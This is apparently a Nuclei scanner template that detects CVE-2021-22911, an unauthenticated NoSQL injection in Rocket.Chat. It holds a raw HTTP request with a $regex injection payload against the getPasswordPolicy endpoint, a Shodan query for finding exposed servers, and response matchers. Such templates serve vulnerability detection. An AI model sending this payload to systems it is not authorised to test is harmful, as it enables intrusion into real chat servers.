50 lines
1.6 KiB
YAML
50 lines
1.6 KiB
YAML
id: CVE-2021-22911
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info:
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name: RocketChat - NoSQL injection
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author: tess,sullo
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severity: critical
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description: Rocket.Chat server versions 3.11, 3.12 and 3.1 allow unauthenticated access to an API endpoint which leads to NoSQL injection in the database.
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reference:
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- http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html
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- https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911
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- https://hackerone.com/reports/1130721
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22911
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911
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- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-22911
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cwe-id: CWE-89
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metadata:
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shodan-query: http.title:"Rocket.Chat"
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verified: "true"
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tags: rocketchat,nosqli,packetstorm,vulhub,hackerone,cve,cve2021
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requests:
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- raw:
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- |-
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POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^{{randstr}}\"}}] }"}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '[error-invalid-user]'
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- '"success":true'
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condition: and
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- type: word
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part: header
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words:
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- application/json
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- type: status
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status:
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- 200
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